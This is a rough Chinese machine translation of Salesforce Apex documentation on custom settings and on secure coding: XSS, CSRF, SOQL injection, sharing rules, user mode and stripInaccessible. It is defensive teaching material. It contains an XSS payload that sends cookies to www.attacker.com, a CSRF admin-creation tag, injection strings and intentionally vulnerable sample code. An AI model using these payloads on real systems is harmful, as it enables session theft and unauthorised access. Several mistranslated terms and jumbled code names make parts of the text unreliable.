自定义设置

自定义设置类似于自定义对象。应用程序开发人员可以创建自定义 数据集,并关联组织、配置文件或特定用户的自定义数据。都 自定义设置数据在应用程序缓存中公开,无需 对数据库进行重复查询的开销。公式字段、验证规则、流、Apex 和 然后,SOAP API 可以使用此数据。

警告

保护 仅适用于标记为受保护并安装到订阅者的自定义设置 组织作为托管包的一部分。否则,它们将被视为公共习俗 设置,并且对所有配置文件(包括来宾用户)都是可读的。不要存储机密, 个人身份信息,或这些设置中的任何私人数据。使用受保护的 仅在托管包中自定义设置。在托管包之外,使用命名凭据 或加密的自定义字段来存储机密,如 OAuth 令牌、密码等 机密材料。

注意

虽然自定义设置数据包含在沙盒副本中,但它被视为 Apex 测试隔离的目的。Apex 测试必须用于查看组织中的现有自定义设置数据。作为 最佳做法是在测试设置中创建所需的自定义设置数据。SeeAllData=true有两种类型的自定义设置。列出自定义设置一种自定义设置,它提供一组可重用的静态数据,这些静态数据可以 在整个组织中访问。如果您经常使用一组特定的数据 将该数据放在列表自定义设置中的应用程序可简化对它的访问。 列表设置中的数据不会因配置文件或用户而异,但可用 组织范围。列表数据的示例包括两个字母的状态缩写、 国际拨号前缀和产品目录号。因为数据是 缓存,访问成本低且效率高:您不必使用计数的 SOQL 查询 违反您的调速器限制。层次结构自定义设置一种使用内置分层逻辑的自定义设置,可让您 针对特定配置文件或用户的“个性化”设置。层次结构逻辑 检查当前用户的组织、配置文件和用户设置,并返回 最具体或“最低”的值。在层次结构中,设置 组织被配置文件设置覆盖,而配置文件设置又被用户覆盖 设置。以下示例说明如何使用自定义设置。

  • 运输应用程序要求用户填写国际国家/地区代码 交付。通过创建所有国家/地区代码的列表设置,用户可以快速访问 此数据无需查询数据库。
  • 应用程序显示帐户位置、最佳路线和交通的地图 条件。此信息对销售代表很有用,但客户经理只想 请参阅帐户位置。通过创建具有自定义复选框字段的层次结构设置 路线和流量,您可以仅为“销售代表”启用此数据 轮廓。

您可以在 Salesforce 用户界面中创建自定义设置:在“设置”中,输入“快速查找”框,然后选择“自定义” 设置。创建自定义设置并添加字段后, 通过单击详细信息中的“管理”,将数据提供给自定义设置 页。使用名称标识每个数据集。Custom Settings例如,如果您有一个名为 Foundation_Countries__c 的自定义设置,其中包含一个文本字段 Country_Code__c,您的数据集可能如下所示:

数据集名称国家/地区代码字段值
美国美国
加拿大
英国英国

还可以在包中包含自定义设置。自定义设置的可见性 包取决于“可见性”设置。

注意

包中仅包含自定义设置定义,而不包含数据。要包含数据,您需要 必须在之后使用订阅组织运行的 Apex 代码填充自定义设置 他们已经安装了该软件包。Apex 可以访问两种自定义设置类型(列表和层次结构)。

注意

如果自定义设置的隐私为“受保护”,并且 自定义设置包含在托管包中,订阅组织不能 编辑值或使用 Apex 访问它们。

访问列表自定义设置

以下示例返回自定义设置数据的映射。该方法返回所有自定义字段的值 与列表关联 设置。

getAll

Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();

下面的示例使用该方法执行以下操作 返回与指定数据集关联的所有字段值。可以使用此方法 使用列表和层次结构自定义设置,使用不同的 参数。

getValues

CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);

访问层次结构自定义设置

以下示例使用该方法返回组织级别的数据集值:

getOrgDefaults

CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();

这 下面的示例使用该方法执行以下操作 返回指定配置文件的数据集值。该方法还可以与用户 ID 一起使用。

getInstancegetInstance

CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);

ref

Apex 和 Visualforce 开发的安全提示

了解安全性

Apex 和 Visualforce 页面的强大组合使 Lightning Platform 开发人员向 Salesforce 或 创建一个在 Lightning 平台内运行的新独立产品。但和 任何编程语言,开发人员都必须认识到潜在的安全相关 陷阱。

Salesforce 在 Lightning Platform 中整合了多项安全防御措施。但 粗心的开发人员仍然可以绕过内置的防御措施,然后暴露他们的 应用程序和客户的安全风险。许多编码错误是 开发人员可以在Lightning平台上制作类似于一般Web的应用程序 安全漏洞,而其他漏洞则是 Apex 独有的。

要对 AppExchange 应用程序进行认证,必须 开发人员学习和理解所描述的安全漏洞。查看更多 信息,请参阅 Salesforce 上的 Lightning 平台安全资源页面 开发 人员。https://developer.salesforce.com/page/Security。

通过静态资源打开重定向

URL 重定向会自动将用户发送到其他网页。重定向通常用于 引导导航到一个网站,或将属于同一所有者的多个域名引荐给 引用单个网站。不幸的是,对于开发人员来说,攻击者可以利用 URL 重定向 如果实施不当。开放重定向(也称为“任意重定向”)是一种常见的重定向 Web 应用程序漏洞,其中由用户控制的值决定了应用程序的位置 重 定向。

警告

通过静态资源进行开放式重定向可能会使用户面临以下风险 无意的(可能是恶意的)重定向。

只有具有“自定义应用程序”权限的管理员才能上传静态资源 在组织内。具有此权限的管理员必须谨慎使用,以确保静态 资源不包含恶意内容。了解如何帮助防范静态资源 从第三方获得的,请参 阅使用 iframe 引用不受信任的第三方内容 。

  • 跨站点脚本 (XSS)
  • Visualforce 页面
    中未转义的输出和公式 使用已将属性设置为 false 的组件时,或者在 Visualforce 组件之外包含公式时,输出未经筛选,必须进行安全性验证。这在使用公式表达式时尤为重要。escape
  • 跨站点请求伪造 (CSRF)
  • SOQL注射液
  • 数据访问控制

跨站点脚本 (XSS)

跨站点脚本 (XSS) 攻击是指恶意 HTML 或客户端 脚本是提供给 Web 应用程序的。Web 应用程序包括 恶意脚本,以响应在不知不觉中成为受害者的用户 的攻击。攻击者使用 Web 应用程序作为 攻击,利用受害者对 Web 应用程序的信任。最 显示动态网页但未正确验证数据的应用程序 很可能是脆弱的。如果出现以下情况,则对网站的攻击特别容易 来自一个用户的输入旨在显示给另一个用户。一些明显的 可能性包括公告板或用户评论风格的网站、新闻或 电子邮件存档。例如,假设此脚本包含在 Lightning 平台页面中,使用 脚本组件、事件或 视觉力 页。

on*

<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script>

此脚本块将用户提供的值插入到页面上。然后,攻击者可以 为 输入此值。

userparamuserparam

1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

在这种情况下,当前页面的所有 cookie 都将作为请求中的查询字符串发送到 www.attacker.com 脚本。此时, 攻击者拥有受害者的会话 cookie,可以连接到 Web 应用程序 就好像他们是受害者一样。cookie.cgi

攻击者可以使用网站或电子邮件发布恶意脚本。蹼 应用程序用户不仅可以看到攻击者的输入,而且他们的浏览器还可以 在受信任的上下文中执行攻击者的脚本。有了这个能力, 攻击者可以对受害者执行各种攻击。这些范围 从简单的操作(例如打开和关闭窗口)到更恶意的操作 攻击,例如窃取数据或会话 Cookie,允许攻击者完全 访问受害者的会话。

有关此类攻击的详细信息:

  • http://www.owasp.org/index.php/Cross_Site_Scripting
  • http://www.cgisecurity.com/xss-faq.html
  • http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
  • http://www.google.com/search?q=cross-site+scripting

在闪电平台中,有几种反XSS防御措施。为 例如,Salesforce 具有过滤器,可以筛选出大多数中的有害字符 输出方法。对于使用标准类和输出方法的开发人员, XSS 缺陷的威胁已在很大程度上得到缓解。但创意开发者仍然可以 找到有意或无意绕过默认控件的方法。

现有保护

所有以 开头的标准 Visualforce 组件都具有反 XSS 过滤器 筛选出有害字符。例如,此代码通常容易受到攻击 到 XSS 攻击,因为它接受用户提供的输入并直接输出 返回给用户,但标记是 XSS 安全的。出现的所有字符 to be HTML 标记将转换为其文字形式。例如,< 字符转换为 文本<显示在用户的 屏幕。

<apex><apex:outputText>&lt;

<apex:outputText> 
    {!$CurrentPage.parameters.userInput} 
</apex:outputText>

在 Visualforce 标签上禁用 Escape

默认情况下,几乎所有 Visualforce 标记都会转义 XSS 易受攻击的字符。您可以通过设置可选的 属性。例如 此输出容易受到 XSS 的攻击 攻击。

escape=”false”

<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

不受 XSS 保护的编程项

这些物品没有内置的 XSS 保护,因此在使用时要格外小心 这些标记和对象。这些项目旨在允许开发人员 通过插入脚本命令来自定义页面。这没有意义 在有意添加到页面的命令上包含反 XSS 筛选器。

Visualforce 页面中未转义的输出和公式

使用已将属性设置为 false 的组件时,或者在 Visualforce 组件之外包含公式时,输出为 未经过滤,必须进行安全性验证。这在使用配方奶粉时尤为重要 表达 式。

escape

公式表达式可以是函数调用,也可以包含有关平台对象的信息,或者 用户环境、系统环境和请求环境。这很重要 请注意,表达式生成的输出在呈现期间不会转义。因为 表达式在服务器上呈现,无法在 使用 JavaScript 或其他客户端技术的客户端。这可能导致 如果公式表达式引用非系统数据(即 潜在恶意或可编辑数据),并且表达式本身未包装在函数中 在渲染期间对输出进行转义。通过在页面上重新呈现用户输入来创建常见漏洞。例如

<apex:page standardController="Account">
  <apex:form>
    <apex:commandButton rerender="outputIt" value="Update It"/>
    <apex:inputText value="{!myTextField}"/>
  </apex:form>

  <apex:outputPanel id="outputIt"> 
    Value of myTextField is <apex:outputText value="{!myTextField}" escape="false"/>
  </apex:outputPanel>    
</apex:page>

未转义会导致跨站点 脚本漏洞。例如,如果用户输入 :

{!myTextField}

<script>alert('xss')

并单击“更新它”,将执行 JavaScript。在本例中,警报对话框 ,但可以设计更多恶意用途。可以使用多个函数来转义可能不安全的字符串。HTMLENCODE编码通过替换以下字符对文本和合并字段值进行编码,以便在 HTML 中使用 在 HTML 中保留,例如大于号 (>),以及 HTML 实体等效项,例如 如。&gt;JSEN代码通过插入转义符对文本和合并字段值进行编码,以便在 JavaScript 中使用 字符,例如反斜杠 (\),在不安全的 JavaScript 字符之前,例如 撇号 (’)。JSINHTMLENCODE通过以下方式对文本和合并字段值进行编码,以便在 HTML 标记内的 JavaScript 中使用 将 HTML 中保留的字符替换为 HTML 实体等效项,以及 在不安全的 JavaScript 字符之前插入转义字符。 是一个 便利功能,等效于 。也就是说,首先用 进行编码 , 然后用 对结果进行编码。JSINHTMLENCODE(someValue)JSENCODE(HTMLENCODE((someValue))JSINHTMLENCODEsomeValueHTMLENCODEJSENCODEURLENCODE通过替换以下字符对文本和合并字段值进行编码,以便在 URL 中使用 URL 中非法,例如空格,其代码将这些字符表示为 在 RFC 3986 统一资源标识符 (URI):通用语法中定义。为 例如,空格替换为 ,并且 感叹号将替换为 。%20%21要用于保护前面的示例,请执行以下操作: 将 更改为 以后:

HTMLENCODE<apex:outputText>

<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>

如果 用户输入并单击“更新”,则不执行 JavaScript。相反,字符串是 编码后,页面将显示 。

<script>alert(‘xss’)Value of myTextField is <script>alert(‘xss’)根据标签的位置和数据的使用情况,两个字符都需要 逃跑和逃跑的同行可能会有所不同。例如,这个语句,其中 将 Visualforce 请求参数复制到 JavaScript 中 变量:

<script>var ret = "{!$CurrentPage.parameters.retURL}";</script>

需要 请求参数中的任何双引号字符都使用 URL 编码进行转义 等价于 而不是 HTML 转义 。否则, 请求:

%22

https://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F

结果 在:

<script>var ret = "foo";alert('xss');//";</script>

什么时候 页面加载,JavaScript 执行,并显示警报。在这种情况下,要防止执行 JavaScript,请使用该函数。为 例

JSENCODE

<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>

公式标记还可用于包含平台对象数据。虽然数据被拿走了 直接从用户组织,在使用前仍必须进行转义,以防止用户 在其他用户(可能是具有更高权限的用户)的上下文中执行代码 水平)。虽然这些类型的攻击必须由同一组织内的用户执行, 它们会破坏组织的用户角色,并降低审核记录的完整性。 此外,许多组织包含从外部源导入的数据 并且可能尚未筛选恶意内容。

跨站点请求伪造 (CSRF)

跨站点请求伪造 (CSRF) 缺陷与其说是编程错误,不如说是 缺乏防御。例如,攻击者 www.attacker.com 有一个网页,该网页可以是任何网页,包括 一个提供有价值的服务或信息,为它带来流量的人 网站。攻击者页面上的某个位置有一个 HTML 标记,如下所示 这:

<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />

换句话说,攻击者的页面包含一个 URL,该 URL 对 您的网站。如果用户在访问 攻击者的网页,检索 URL 并执行操作。这次攻击 成功,因为用户仍通过网页的身份验证。这是一个 举个简单的例子,攻击者可以通过使用脚本来获得更多的创意 生成回调请求,甚至对 AJAX 使用 CSRF 攻击 方法。

有关详细信息和传统防御:

  • http://www.owasp.org/index.php/Cross-Site_Request_Forgery
  • http://www.cgisecurity.com/csrf-faq.html
  • http://shiflett.org/articles/cross-site-request-forgeries

在闪电网络平台中,Salesforce 实施了一个反 CSRF 令牌,以 防止此类攻击。每个页面都包含一个随机字符串作为 隐藏的表单字段。加载下一页时,应用程序会检查有效性 并且不执行命令,除非值 与预期值匹配。此功能可在使用所有 标准控制器和方法。同样,开发人员可以在没有意识到 风险。例如,自定义控制器将对象 ID 作为输入参数 然后在 SOQL 调用中使用该输入参数。

<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass { 
  public void init() { 
    Id id = ApexPages.currentPage().getParameters().get('id'); 
    Account obj = [select id, Name FROM Account WHERE id = :id]; 
    delete obj; 
    return ; 
  }
}

开发人员在不知不觉中通过开发自己的反 CSRF 控件绕过了 action 方法。读取参数 并在代码中使用。反 CSRF 令牌永远不会被读取或验证。一 攻击者网页可以通过使用 CSRF 攻击将用户发送到此页面,并且 为参数提供任何值。idid

对于这种情况,没有内置的防御措施,开发人员必须这样做 在编写基于用户提供的参数执行操作的页面时要谨慎 就像前面的变量一样 例。一种可能的解决方法是插入中间确认页 在执行操作以确保用户打算调用页面之前。 其他建议包括缩短空闲会话超时和教育 用户注销其活动会话,而不使用浏览器访问 其他站点,同时经过身份验证。id

由于 Salesforce 内置了针对 CSRF 的防御功能,您的用户可能会遇到 打开多个 Salesforce 登录页面时出错。如果用户登录到 Salesforce在一个选项卡中,然后尝试在另一个选项卡上登录,他们看到这个 错误:您提交的页面对会话无效。用户可以 通过刷新登录页面或尝试登录 第二次。

SOQL注射液

在其他编程语言中,前面的缺陷称为 SQL 注入。顶点 不使用 SQL,而是使用自己的数据库查询语言 SOQL。SOQL很多 比 SQL 更简单,功能更有限。风险要低得多 SOQL 注入比 SQL 注入相同,但攻击几乎与 传统的SQL注入。SQL/SOQL 注入接受用户提供的输入并使用 动态 SOQL 查询中的这些值。如果输入未经过验证,则可以 包括 SOQL 命令,这些命令可以有效地修改 SOQL 语句并欺骗 应用程序执行非预期的命令。

Apex 中的 SOQL 注入漏洞

下面是易受 SOQL 攻击的 Apex 和 Visualforce 代码的简单示例 注射。

<apex:page controller="SOQLController" >
    <apex:form>
        <apex:outputText value="Enter Name" />
        <apex:inputText value="{!name}" />
        <apex:commandButton value="Query" action="{!query}“ />
    </apex:form>
</apex:page>
public class SOQLController {
    public String name {
        get { return name;}
        set { name = value;}
    } 
    public PageReference query() {
        String qryString = 'SELECT Id FROM Contact WHERE ' +
            '(IsDeleted = false and Name like \'%' + name + '%\')';
        List<Contact> queryResult = Database.query(qryString);
        System.debug('query result is ' + queryResult);
        return null;
    }
}

这个简单的例子说明了逻辑。该代码旨在搜索 未删除的联系人。用户提供一个名为 的输入值。该值可以是 用户,并且从未经过验证。SOQL 查询是动态构建的,然后 使用该方法执行。 如果用户提供合法值,则该语句将作为 预期。

nameDatabase.query

// User supplied value: name = Bob 
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

但是,如果用户提供了意外的输入,例如 如:

// User supplied value for name: test%') OR (Name LIKE '

在 在这种情况下,查询字符串 成为:

SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

现在,结果显示所有联系人,而不仅仅是未删除的联系人。SOQL注射 缺陷可用于修改任何易受攻击的查询的预期逻辑。

SOQL 注入防御

若要防止 SOQL 注入攻击,请避免使用动态 SOQL 查询。相反 使用静态查询和绑定变量。上面的易受攻击的例子可能是 使用静态重写 索克尔。

public class SOQLController { 
    public String name { 
        get { return name;} 
        set { name = value;} 
    } 
    public PageReference query() { 
        String queryName = '%' + name + '%';
        List<Contact> queryResult = [SELECT Id FROM Contact WHERE 
           (IsDeleted = false and Name like :queryName)];
        System.debug('query result is ' + queryResult);
        return null; 
    } 
}

如果必须使用动态 SOQL,请使用该方法清理用户提供的输入。这 方法将转义字符 (\) 添加到字符串中的所有单引号中 从用户传入。该方法确保所有单报价 标记被视为封闭字符串,而不是数据库命令。escapeSingleQuotes

数据访问控制

闪电平台广泛使用数据共享规则。每个对象都有 权限,并且可以具有用户可以读取、创建、编辑和 删除。使用所有标准控制器时,将强制执行这些设置。使用 Apex 类时,内置用户权限和字段级安全性 在执行过程中不遵守限制。默认行为是 Apex 类具有读取和更新所有数据的能力。因为这些规则是 不强制执行,使用 Apex 的开发人员必须避免无意中暴露 通常通过用户权限对用户隐藏的敏感数据, 字段级安全性或默认值,尤其是对于 Visualforce 页面。为 例如,考虑这个 Apex 伪代码。

public class customController { 
    public void read() { 
        Contact contact = [SELECT id FROM Contact WHERE Name = :value]; 
    } 
}

在这种情况下,将搜索所有联系人记录,即使用户当前已登录 in 通常无权查看这些记录。解决方案是 在声明 类:

with sharing

public with sharing class customController { 
    . . . 
}

关键字将 平台,以使用当前登录用户的安全共享权限 ,而不是授予对所有记录的完全访问权限。with sharing

ref

Apex Security 和 共享

当您使用 Apex 时, 代码的安全性至关重要。您需要为 Apex 类添加用户权限并强制执行 共享规则。请继续阅读,了解 Apex 托管共享和 获取一些安全提示。

  • 强制执行共享规则
  • 强制执行对象和字段权限
  • 对数据库操作
    强制实施用户模式 通过使用带有特殊关键字的 SOQL 或 SOSL 查询,或者使用 DML 方法重载,可以在用户模式下运行数据库操作,而不是在默认系统模式下运行数据库操作。
  • 使用 stripInaccessible 方法强制实施安全性 使用该方法
    强制实施字段级和对象级数据保护。此方法可用于从用户无法访问的查询和子查询结果中删除字段和关系字段。该方法还可用于在 DML 操作之前删除无法访问的 sObject 字段,以避免异常,并清理已从不受信任的源反序列化的 sObject。stripInaccessible
  • 使用 WITH 筛选 SOQL 查询
    SECURITY_ENFORCED 使用该子句可以对 Apex 代码中的查询(包括子查询和跨对象关系)启用字段级和对象级安全权限检查。WITH SECURITY_ENFORCEDSOQL SELECT
  • 类安全性
  • 了解 Apex 托管共享 共享
    是授予用户或用户组对记录或一组记录执行一组操作的权限的行为。可以使用 Salesforce 用户界面和 Lightning Platform 授予共享访问权限,也可以使用 Apex 以编程方式授予共享访问权限。
  • Apex 和 Visualforce 开发的安全提示

强制执行共享规则

Apex 通常在系统上下文中运行;即当前用户的权限和 在代码执行过程中不考虑字段级安全性。共享规则, 但是,并不总是被绕过:必须使用关键字声明类,以确保共享 不强制执行规则。without sharing

注意

通过调用执行的 Apex 代码和 Apex 中的 Connect 始终执行 使用当前用户的共享规则。有关 的详细信息,请参阅匿名块。executeAnonymousexecuteAnonymous

Apex 开发人员必须注意不要无意中暴露敏感数据,而这些数据通常会暴露 通过用户权限、字段级安全性或组织范围的默认值对用户隐藏。 他们必须特别小心 Web 服务,这些服务可能会受到权限的限制。 但是,一旦启动,就要在系统上下文中执行。

大多数情况下,系统上下文为系统级操作提供正确的行为 例如需要访问组织中所有数据的触发器和 Web 服务。然而 您还可以指定特定的 Apex 类应强制执行适用的共享规则 到当前用户。

注意

使用关键字强制执行共享规则不会强制执行用户的权限和字段级安全性。Apex 总是有 访问组织中的所有字段和对象,确保代码不会运行失败 因为字段或对象对用户隐藏。with sharing

此示例有两个类,第一个类 () 强制执行共享规则,而第二个类 () 则不强制执行。该类从第一个方法调用一个方法,该方法在强制执行共享规则的情况下运行。该类包含一个内部类,其中代码 在与调用方相同的共享上下文下执行。它还包含一个扩展的类 它,它继承了它的无共享设置。CWithCWithoutCWithoutCWithout

public with sharing class CWith {
  // All code in this class operates with enforced sharing rules.

  Account a = [SELECT . . . ];

  public static void m() { . . . }
  
  static {
    . . .
  }

  {
    . . .
  }

  public void c() {
    . . .
  } 
}

public without sharing class CWithout {
  // All code in this class ignores sharing rules and operates 
  // as if the context user has the Modify All Data permission.
  Account a = [SELECT . . . ];
  . . .

  public static void m() {  
     . . . 

    // This call into CWith operates with enforced sharing rules
    // for the context user. When the call finishes, the code execution 
    // returns to without sharing mode.
    CWith.m();
  }


  public class CInner {
    // All code in this class executes with the same sharing context
    // as the code that calls it. 
    // Inner classes are separate from outer classes.
    . . .

    // Again, this call into CWith operates with enforced sharing rules
    // for the context user, regardless of the class that initially called this inner class.
    // When the call finishes, the code execution returns to the sharing mode that was used to call this inner class.
    CWith.m();
  }

  public class CInnerWithOut extends CWithout {
    // All code in this class ignores sharing rules because
    // this class extends a parent class that ignores sharing rules.
  }
}

警告

因为声明为 的类可以调用声明为 的类,您可能仍然必须实现类级安全性。此外,所有 使用 Pricebook2 的 SOQL 和 SOSL 查询将忽略该关键字。无论应用的共享如何,都将返回所有价目表 规则。with sharingwithout sharingwith sharing强制执行当前用户的共享规则可能会影响:

  • SOQL 和 SOSL 查询。查询返回的行数可能少于在系统中操作的行数 上下文。
  • DML 操作。操作可能会失败,因为当前用户没有正确的 权限。例如,如果用户指定了 组织,但当前用户无权访问。

强制执行对象和字段权限

Apex 通常在系统上下文中运行;即当前用户的权限和 在代码执行过程中不考虑字段级安全性。共享 但是,规则并不总是被绕过:必须使用关键字声明类,以确保 不强制执行共享规则。与调用一起执行的 Apex 代码,并且始终在 Apex 中连接 使用当前用户的共享规则执行。有关 的详细信息,请参阅匿名块。without sharingexecuteAnonymousexecuteAnonymous

要强制运行用户的字段级安全性 (FLS) 和对象权限,请您 可以指定数据库操作的用户模式访问权限。请参阅对数据库操作强制使用用户模式。你 还可以使用 WITH SECURITY_ENFORCED在 SOQL 查询中强制执行这些权限。 有关详细信息,请参阅使用 WITH SECURITY_ENFORCED筛选 SOQL 查询。

还可以通过显式方式在代码中强制实施对象级和字段级权限 调用 sObject describe 结果方法(Schema.DescribeSObjectResult)和字段 describe 结果方法(Schema.DescribeFieldResult),用于检查 当前用户的访问权限级别。这样,您可以验证当前用户是否 具有必要的权限,并且只有当他或她具有足够的权限时,您才能 ,然后执行特定的 DML 操作或查询。

例如,您可以调用 、 或 方法来验证 当前用户分别具有对 sObject 的读取、创建或更新访问权限。同样,暴露这些 您可以调用这些方法检查当前用户的 read、create、or 更新字段的访问权限。此外,还可以调用 提供的方法来检查当前用户是否具有权限 删除特定的 sObject。isAccessibleisCreateableisUpdateableSchema.DescribeSObjectResultSchema.DescribeFieldResultisDeletableSchema.DescribeSObjectResult

这些示例调用访问控制方法。在更新之前检查联系人电子邮件字段的字段级更新权限 它:

if (Schema.sObjectType.Contact.fields.Email.isUpdateable()) {
   // Update contact phone number
}

要在创建 新增功能 联系:

if (Schema.sObjectType.Contact.fields.Email.isCreateable()) {
   // Create new contact
}

在查询之前检查联系人电子邮件字段的字段级读取权限 这 田:

if (Schema.sObjectType.Contact.fields.Email.isAccessible()) {
   Contact c = [SELECT Email FROM Contact WHERE Id= :Id];
}

要在删除 联系:

if (Schema.sObjectType.Contact.isDeletable()) {
   // Delete contact
}

共享规则不同于对象级和字段级权限。他们可以 共存。如果在 Salesforce 中定义了共享规则,则可以在课堂上强制执行这些规则 level 通过使用关键字声明类。有关更多信息,请参阅使用共享关键字、不共享关键字和继承共享关键字。如果调用 sObject 描述结果和字段 描述结果访问控制方法,对象和字段级别的验证 除了有效的共享规则之外,还会执行权限。有时 共享规则授予的访问级别可能与对象级别或 字段级权限。with sharing

考虑

  • 启用了 Experience Cloud 站点的组织提供了各种设置来隐藏 对其他用户提供用户的个人信息(请参阅对外部隐藏个人信息 用户并在内共享个人联系信息 Experience Cloud 站点)。即使在 Apex 中也不会强制执行这些设置 具有子句或方法等安全功能。隐藏用户的特定字段 对象,请按照遵守用户个人中概述的示例代码进行操作 信息可见性设置。WITH SECURITY_ENFORCEDstripInaccessible
  • 自动化流程用户无法在自定义代码中执行对象和 FLS 检查 除非将适当的权限集显式应用于这些用户。

对数据库操作强制实施用户模式

您可以在用户模式下运行数据库操作,而不是在默认系统模式下运行 通过使用带有特殊关键字的 SOQL 或 SOSL 查询或使用 DML 方法 重载。

默认情况下,Apex 代码在系统模式下运行,这意味着它以实质 提升了对运行代码的用户的权限。增强 Apex,您可以为数据库操作指定用户模式访问。字段级安全性 (FLS) 和正在运行的用户的对象权限在用户模式下受到尊重,这与 系统模式。用户模式始终应用共享规则,但在系统模式下,它们 通过在类上共享关键字来控制。请参阅使用有共享、无共享和继承共享关键字。您可以通过使用 或 在您的 SOQL 或 SOSL 查询。此示例在 SOQL 中指定用户模式。

WITH USER_MODEWITH SYSTEM_MODE

List<Account> acc = [SELECT Id FROM Account WITH USER_MODE];

注意

此功能在启用了该功能的临时组织中可用。如果未启用该功能, 具有此功能的 Apex 代码可以编译,但不能执行。ApexUserModeWithPermset

Salesforce 建议您通过使用而不是因为这些额外的优势来强制实施字段级安全性 (FLS)。WITH USER_MODEWITH SECURITY-ENFORCED

  • WITH USER_MODE考虑多态字段 like 和 .OwnerTask.whatId
  • WITH USER_MODE处理 SOQL 语句中的所有子句,包括子句。SELECTWHERE
  • WITH USER_MODE查找 SOQL 中的所有 FLS 错误 查询,而只查找 第一个错误。此外,在用户模式下,可以使用 QueryException 上的方法检查完整的 访问错误集。WITH SECURITY ENFORCEDgetInaccessibleFields()

数据库操作可以指定用户模式或系统模式。本示例插入一个新的 用户中的帐户 模式。

Account acc = new Account(Name='test');
insert as user acc;

该类表示 哪个 Apex 运行数据库操作。使用此类将执行模式定义为 user 模式或系统模式。数据库中的可选参数 和 搜索方法 指定该方法是在系统模式 () 还是用户模式 () 下运行。使用这些重载方法可以 执行 DML 和查询操作。AccessLevelaccessLevelAccessLevel.SYSTEM_MODEAccessLevel.USER_MODE

  • Database.query 方法。请参阅动态 SOQL。
  • Database.getQueryLocator 方法
  • Database.countQuery 方法
  • Search.query 方法
  • 数据库 DML 方法(insert update upsert merge delete undelete convertLead)
    • 包括 和 方法,例如 和 。*Immediate*AsyncinsertImmediatedeleteAsync

注意

当数据库 DML 方法与 一起运行时,您可以通过 访问错误。使用 ,您可以使用该方法通过 FLS 获取字段 错误。AccessLevel.USER_MODESaveResult.getErrors().getFields()insert as userDMLExceptiongetFieldNames()

这些方法需要该参数。accessLevel

  • Database.queryWithBinds
  • Database.getQueryLocatorWithBinds
  • Database.countQueryWithBinds

使用权限集在 DML 和搜索操作中强制实施安全性(开发人员 预览)

在开发者预览版中,您可以指定用于扩充字段级别的权限集 以及数据库和搜索操作的对象级安全性。使用 指定的权限集 ID。 执行的特定用户模式 DML 操作 有了这个,请尊重 除了运行用户的权限外,还设置了指定的权限集。AccessLevel.withPermissionSetId()AccessLevel此示例运行该方法 具有指定的权限集并插入自定义 对象。

AccessLevel.withPermissionSetId()

@isTest
public with sharing class ElevateUserModeOperations_Test {
    @isTest
    static void objectCreatePermViaPermissionSet() {
        Profile p = [SELECT Id FROM Profile WHERE Name='Minimum Access - Salesforce'];
        User u = new User(Alias = 'standt', Email='standarduser@testorg.com',
            EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
            LocaleSidKey='en_US', ProfileId = p.Id,
            TimeZoneSidKey='America/Los_Angeles',
            UserName='standarduser' + DateTime.now().getTime() + '@testorg.com');

        System.runAs(u) {
            try { 
                Database.insert(new Account(name='foo'), AccessLevel.User_mode); 
                Assert.fail(); 
            } catch (SecurityException ex) { 
                Assert.isTrue(ex.getMessage().contains('Account'));
            }
            //Get ID of previously created permission set named 'AllowCreateToAccount'
            Id permissionSetId = [Select Id from PermissionSet 
                where Name = 'AllowCreateToAccount' limit 1].Id;

            Database.insert(new Account(name='foo'), AccessLevel.User_mode.withPermissionSetId(permissionSetId)); 

            // The elevated access level is not persisted to subsequent operations
            try { 
                Database.insert(new Account(name='foo2'), AccessLevel.User_mode); 
                Assert.fail(); 
            } catch (SecurityException ex) { 
                Assert.isTrue(ex.getMessage().contains('Account')); 
            } 
            
        } 
    } 
}

注意

Checkmarx,AppExchange Security Review 源代码 扫描仪,尚未使用此新的 Apex 功能进行更新。在更新之前, Checkmarx可以针对现场或对象级安全违规行为生成误报 需要异常文档。

使用 stripInaccessible 方法强制实施安全性

使用该方法强制执行 字段级和对象级数据保护。此方法可用于剥离字段和 用户无法访问的查询和子查询结果中的关系字段。该方法可以 也用于在 DML 操作之前删除无法访问的 sObject 字段,以避免异常和 清理已从不受信任的来源反序列化的 sObject。

stripInaccessible

重要

在可能的情况下,我们更改了非包容性条款,以与我们公司保持一致 平等的价值。我们保留了某些条款,以避免对客户产生任何影响 实现。

字段级和对象级数据保护可通过 Security 和 SObjectAccessDecision 类进行访问。访问检查是 基于当前用户在指定上下文中的字段级权限 操作 – 创建、读取、更新或更新插入。Security.stripInaccessible() 方法检查源代码 不符合当前用户的字段级安全检查的字段的记录。这 方法还检查源记录中查找或主从关系字段到的字段 当前用户无权访问。该方法创建 sObjects 的返回列表,该列表是 与源记录相同,只是当前无法访问的字段 用户被删除。该方法返回的 sObject 包含的记录与方法参数中的 sObject 顺序相同。getRecordssourceRecordsstripInaccessible

作为开发人员预览版功能,将权限集 ID 作为参数并强制执行 根据指定的权限集进行字段级和对象级访问,此外 运行用户的权限。Security.stripInaccessible()

注意

该方法永远不会剥离 ID 字段,以避免在对结果执行 DML 时出现问题。stripInaccessible

要识别已删除的不可访问字段,可以使用 SObject.isSet() 方法。例如,返回列表 包含 Contact 对象和无法访问social_security_number__c自定义字段 用户。由于此自定义字段未通过字段级访问检查,因此未设置该字段 并返回 .isSetfalse

SObjectAccessDecision securityDecision = Security.stripInaccessible(AccessType.READABLE, sourceRecords);
Contact c = securityDecision.getRecords()[0];
System.debug(c.isSet('social_security_number__c')); // prints "false"
